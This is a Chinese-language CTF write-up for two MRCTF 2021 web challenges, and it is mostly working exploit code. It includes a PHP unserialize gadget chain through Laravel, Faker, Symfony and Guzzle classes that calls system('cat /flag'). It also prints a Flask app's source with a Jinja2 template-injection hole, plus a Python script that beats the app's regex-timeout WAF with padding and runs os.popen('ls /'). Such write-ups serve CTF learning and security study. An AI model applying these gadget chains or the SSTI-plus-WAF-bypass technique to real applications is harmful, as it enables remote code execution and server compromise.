2021MRCTF web writeup
ez_larave1
全局搜索unserialize

exp:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 
 | <?php
 
 
 namespace Illuminate\Foundation\Testing {
 class PendingCommand
 {
 protected $command;
 protected $parameters;
 protected $app;
 public $test;
 
 public function __construct($command, $parameters, $class, $app)
 {
 $this->command = $command;
 $this->parameters = $parameters;
 $this->test = $class;
 $this->app = $app;
 }
 }
 }
 
 namespace Illuminate\Auth {
 class GenericUser
 {
 protected $attributes;
 public function __construct(array $attributes)
 {
 $this->attributes = $attributes;
 }
 }
 }
 
 namespace Illuminate\Foundation {
 class Application
 {
 protected $hasBeenBootstrapped = false;
 protected $bindings;
 
 public function __construct($bind)
 {
 $this->bindings = $bind;
 }
 }
 }
 
 namespace Symfony\Component\Routing\Loader\Configurator {
 class CollectionConfigurator
 {
 public $parent;
 public $collection;
 public $prefixes;
 
 public function __construct($parent)
 {
 $this->prefixes = 1;
 $this->parent = $parent;
 $this->collection = new \Symfony\Component\Routing\RouteCollection(array("12end" => "12end"));
 }
 }
 }
 
 namespace Faker {
 class ValidGenerator
 {
 protected $generator;
 protected $validator;
 protected $maxRetries;
 
 public function __construct($validator)
 {
 $this->generator = new \Symfony\Component\Routing\RouteCollection(array("12end" => "12end"));
 $this->validator = $validator;
 $this->maxRetries = 10;
 }
 }
 }
 
 namespace Symfony\Component\Routing {
 class RouteCollection
 {
 
 }
 }
 
 namespace GuzzleHttp\Psr7{
 class FnStream
 {
 public $_fn_close;
 public function __construct($f)
 {
 $this->_fn_close=$f;
 }
 }
 }
 
 
 
 namespace {
 $payload = new Illuminate\Foundation\Testing\PendingCommand(
 "system", array('cat /flag'),
 new Illuminate\Auth\GenericUser(array("expectedOutput" => array("0" => "1"), "expectedQuestions" => array("0" => "1"))),
 new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel" => array("concrete" => "Illuminate\Foundation\Application")))
 );
 
 $a = new GuzzleHttp\Psr7\FnStream(array($payload, "run"));
 echo urlencode(serialize($a));
 
 }
 
 | 

wwwafed_app
主要代码如下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 
 | /source
 
 from flask import Flask, request,render_template,url_for
 from jinja2 import Template
 import requests,base64,shlex,os
 
 app = Flask(__name__)
 
 @app.route("/")
 def index():
 return render_template('index.html')
 
 @app.route("/waf")
 def wafsource():
 return open("waf.py").read()
 
 @app.route("/source")
 def appsource():
 return open(__file__).read()
 
 @app.route("/api/spider/<url>")
 def spider(url):
 url = base64.b64decode(url).decode('utf-8')
 safeurl = shlex.quote(url)
 block = os.popen("python3 waf.py " + safeurl).read()
 if block == "PASS":
 try:
 req = requests.get("http://"+url,timeout=5)
 return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render()
 except:
 return Template("访问{}失败!".format(safeurl)).render()
 else:
 return Template("WAF已拦截,请不要乱输入参数!").render()
 
 if __name__ == "__main__":
 app.run(host="0.0.0.0",port=5000,debug=True)
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | /waf
 import re,sys
 import timeout_decorator
 
 @timeout_decorator.timeout(5)
 def waf(url):
 
 pat = r'^(([0-9a-z]|-)+|[0-9a-z]\.)+(mrctf\.fun)$'
 if re.match(pat,url) is None:
 print("BLOCK",end='')
 else:
 print("PASS",end='')
 
 if __name__ == "__main__":
 try:
 waf(sys.argv[1])
 except:
 print("PASS",end='')
 
 | 
这里有一个@timeout_decorator.timeout(5)
每个正则有着五秒的执行时间限制,超出时间默认采取放行策略。
这里可以采用正则最大回溯限制来绕过
PHP利用PCRE回溯次数限制绕过某些安全限制
exp:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | import requestsimport base64
 
 
 for i in range(1,2):
 try:
 commd = """node.mrctf.fun"""+'a'*1000+"""{{a.__init__.__globals__.__builtins__.__import__("os").popen("ls /").read()}}"""
 
 
 burp0_url = "http://node.mrctf.fun:15000/api/spider/" + base64.b64encode(commd.encode()).decode()
 proxies = {
 "http": "http://127.0.0.1:8080",
 }
 burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0",
 "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
 "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://node.mrctf.fun:15000/"}
 r = requests.get(burp0_url, headers=burp0_headers)
 print(r.text)
 except:
 pass
 
 |